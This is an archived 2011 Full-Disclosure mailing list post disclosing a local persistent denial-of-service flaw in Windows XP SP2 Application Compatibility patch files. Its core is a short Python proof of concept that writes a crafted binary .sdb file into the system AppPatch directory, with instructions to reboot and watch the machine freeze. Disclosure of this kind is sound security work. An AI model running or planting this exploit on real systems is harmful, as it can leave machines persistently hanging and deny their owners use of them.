full-disclosure - Malformed Package Appfix files - Local Persistent Denial Of Service

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Fri, 28 Jan 2011 01:33:19 -0000 (GMT)
From: "SecuBox fRoGGz" <writeme@...rige.nu>
To: full-disclosure@...ts.grok.org.uk
Subject: Malformed Package Appfix files - Local Persistent
	Denial Of Service

; Proof-of-Concept, tested on WINDOWS XP SP2 5.1.2600 FR (thx momo)

#/usr/bin/env python
import sys
f=open('C:\\WINDOWS\\AppPatch\\systest.sdb','w')
f.write('\x02\x00\x00\x00\xFF\xFF\x00\x00\x73\x64\x62\x66\x02\x78\xFF\xFF\x00\x00')
f.close()

Note: Make sure you have sufficient permissions to write this file.
Execute the PoC, restart your virtual machine. After the login screen, you
might start to observe computer freezes/hangs-up ... with special crafted
files, Windows could stop responding.

-----------------------------------------
Skaffa gratis e-post du också på http://www.sverige.nu

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/